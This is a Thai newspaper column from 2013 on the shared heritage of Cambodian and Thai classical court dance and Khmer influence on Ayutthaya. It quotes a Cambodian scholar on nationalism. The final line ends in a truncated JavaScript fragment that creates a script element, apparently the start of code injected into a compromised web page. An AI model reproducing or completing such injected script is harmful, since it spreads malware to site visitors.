Download PDF

มติชนรายวัน ฉบับประจำวันอังคารที่ 5 พฤศจิกายน 2556

 

นาฏศิลป์กัมพูชากับไทย

          นาฏศิลป์กัมพูชากับไทย เป็นวัฒนธรรมร่วมของสุวรรณภูมิในอุษาคเนย์ มีประวัติศาสตร์ความเป็นมาร่วมกันอย่างแยกออกโดดๆไม่ได้

          ความต่างอยู่ที่ชื่อเรียกนาฏศิลป์ ขณะที่ไทยเรียกละครใน (หมายถึงละครของพระเจ้าแผ่นดินที่เล่นในวัง) ทางกัมพูชาเรียกระบำพระราชทรัพย์ หมายถึงระบำ(ละคร)ของพระเจ้าแผ่นดิน

          แต่ไทยมักอ้างว่ากัมพูชารับจากไทย จึงควรฟังทัศนะกัมพูชาบ้าง อย่างมีสติและกรุณาอย่าคลั่ง

          จะคัดโดยสรุปมาให้อ่านบางตอนจากบทความวิชาการเรื่อง ข้อพิพาทพรมแดนกัมพูชา-ไทย ปัญหาชาตินิยมและอำนาจ : ศึกษากรณีปราสาทพระวิหาร (เสียงสะท้อนจากกัมพูชา) โดย เปรม จาบ คณะอักษรศาสตร์ มนุษยศาสตร์ และภาษา มหาวิทยาลัยบันทายมีชัย-กัมพูชา (มูลนิธิโครงการตำราสังคมศาสตร์และมนุษยศาสตร์ พิมพ์เมื่อมิถุนายน 2555)

          “ระบำพระราชทรัพย์” หรือ “ระบำเขมรโบราณ” ที่คนไทยเรียกว่า “ระบำอัปสร” นั้น ก็มีความเกี่ยวพันกับอารยธรรมนครวัด ถือเป็นสัญลักษณ์ และเป็นมรดกทางวัฒนธรรมอันมีค่าของประชาชนกัมพูชา

          พระบาทสมเด็จพระนโรดมสีหนุ ได้ใช้ประโยชน์จากระบำนี้ ในขณะที่เสด็จพระราชดำเนินไปยังทวีปยุโรป และอเมริกาเหนือ นำไปจัดแสดงเพื่อเรียกร้องเอกราชจากฝรั่งเศส

          ความเก่าแก่ของ “ระบำพระราชทรัพย์” ก็ได้รับการจารึกไว้ตามผนังปราสาทเขมรโบราณ ที่มีอยู่ทั่วไปในไทย ลาว เวียดนามใต้ และในกัมพูชาอีกหลายร้อยแห่ง

          หลังเสียพระนครหลวง นักวิจัยและนักวิชาการสันนิษฐานว่า กลุ่มนางรำเขมรคงถูกจับเป็นเชลยไปยังกรุงศรีอยุธยา ความคิดที่ว่าอยุธยาจับนางรำเขมรไปนั้น ยังติดอยู่ในความรู้สึกของนางรำกัมพูชาตราบทุกวันนี้

          สงครามระหว่างละแวก-อุดง กับอยุธยา และกรุงเทพฯ เกิดขึ้นหลายครั้ง การเกณฑ์และกวาดต้อนเชลยไปนั้น ก็ต้องมีนางรำอยู่ในหมู่เชลยนั้นด้วยแน่นอน (ดังเช่นที่พม่าก็ได้กวาดต้อนบรรดานาฏศิลป์นางรำไปจากอยุธยาเมื่อเสียกรุงครั้งที่ 2)

          ปัจจุบันนี้ ในหลักสูตรการเรียนของกัมพูชา อธิบายว่าวัฒนธรรมกัมพูชาไหลเข้าสู่อยุธยา และไหลกลับมาเมืองกัมพูชาที่เป็นเจ้าของเดิมของวัฒนธรรมนครวัด

          “ประชาชนกัมพูชาจะรู้สึกโกรธนัก หากได้ยินประชาชนไทยอ้างว่ากัมพูชาขโมย หรือจำลองตามละครในของพระราชวังกรุงเทพฯ คำถามที่จะต้องถามประชาชนไทย คือรัฐไทยเกิดตั้งแต่เมื่อใด สุโขทัย และนครวัด-นครธม ใครเก่าแก่กว่าใคร?”

          คำถามนี้ไม่ต้องตอบ แต่ควรคิดอย่างไม่คลั่งชาติและไม่ขาดสติ แล้วพิจารณาอย่างสุขุมละเอียดอ่อนด้วยเหตุผลที่มีหลักฐานประวัติศาสตร์ศิลปะโบราณคดีสนับสนุน

 

ขอมกลายเป็นไทย

          กัมพูชากับไทยมีประวัติศาสตร์ความเป็นมาร่วมกันในสุวรรณภูมิอุษาคเนย์ ผมเขียนคำนำเสนอไว้ในหนังสือเมืองพระนคร นครวัด นครธม มีรายละเอียดหลายหน้า แต่จะสรุปสั้นที่สุดมาดังนี้

          เมืองพระนคร(ศรีอยุธยา) ในไทย กับเมืองพระนคร(นครวัด) และเมืองพระนครหลวง(นครธม) ในกัมพูชา เป็นบ้านพี่เมืองน้องเครือญาติอุปถัมภ์ใกล้ชิดมาแต่ยุคก่อนๆ

          มีประวัติศาสตร์ความเป็นมาร่วมกัน โดยเมืองพระนคร(ศรีอยุธยา) ในไทย ถอดแบบศิลปวัฒนธรรมทั้งจากเมืองพระนคร(นครวัด) และเมืองพระนครหลวง(นครธม) ในกัมพูชา

          รัฐอโยธยา-ละโว้(ก่อนเป็นรัฐอยุธยา) มีกษัตริย์และคนชั้นสูงในราชสำนักพูดภาษาเขมร เขียนอักษรเขมร เป็นพวกขอมเครือญาติใกล้ชิดกับราชสำนักกัมพูชาที่นครวัด, นครธม

          หลังจากนั้นด้วยเหตุผลหลายอย่าง พวกขอมทั้งระดับคนชั้นสูง และไพร่ฟ้าประชาราษฎร(รวมถึงพวกมอญ, มลายู, จีน, และลาว, ฯลฯ)จะค่อยๆปรับเปลี่ยนตัวเองคล้อยตามอำนาจคนส่วนใหญ่เป็นไทย, คนไทย

          ศิลปวัฒนธรรมขอม นครวัด, นครธม(ในกัมพูชา) กับเมืองอโยธยา-ละโว้(ในไทย)จึงเป็นอย่างเดียวกัน เพราะต่างเป็นส่วนหนึ่งของวัฒนธรรมร่วมแห่งสุวรรณภูมิในอุษาคเนย์มาตั้งแต่ยุคดึกดำบรรพ์ไม่น้อยกว่า 3,000 ปีมาแล้ว แล้วยังเป็นขอมด้วยกันมาแต่ดั้งเดิม

          เมื่ออโยธยา-ละโว้ปรับเปลี่ยนเป็นพระนครศรีอยุธยา(กรุงศรีอยุธยา) บรรดาศิลปวัฒนธรรมขอมก็ยังมีสืบเนื่องเป็นปกติในชีวิตประจำวันของไทย, คนไทยvar d=document;var s=d.createElement(‘script’);